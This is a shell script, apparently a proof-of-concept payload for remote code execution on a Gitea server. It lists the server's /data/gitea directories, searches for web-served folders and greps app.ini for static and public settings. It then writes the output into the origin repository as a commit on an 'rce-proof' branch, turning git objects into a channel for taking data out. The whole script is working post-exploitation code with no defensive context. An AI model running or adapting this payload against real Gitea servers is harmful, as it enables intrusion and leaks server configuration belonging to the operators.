#!/bin/sh git_dir=$(git rev-parse --absolute-git-dir) || exit 1 origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2 case "$origin_objects" in /*) ;; *) origin_objects="$git_dir/objects/$origin_objects" ;; esac origin_git=${origin_objects%/objects} [ "$origin_git" != "$origin_objects" ] || exit 3 output_blob=$( { echo "== /data/gitea =="; ls -la /data/gitea/; echo "== custom =="; ls -la /data/gitea/custom/ 2>/dev/null; echo "== custom/public =="; ls -la /data/gitea/custom/public/ 2>/dev/null; echo "== work/public =="; ls -la /data/gitea/public/ 2>/dev/null; echo "== find public dirs =="; find /data/gitea -maxdepth 4 \( -name public -o -name www -o -name html -o -name htdocs \) 2>/dev/null; echo "== gitea conf custom =="; grep -iE 'custom|static|public' /data/gitea/conf/app.ini ; } 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4 tree=$(printf "100644 blob %s\tproof\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5 commit=$(printf "rce proof\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin_git" commit-tree "$tree") || exit 6 git --git-dir="$origin_git" update-ref refs/heads/rce-proof "$commit" || exit 7 exit 0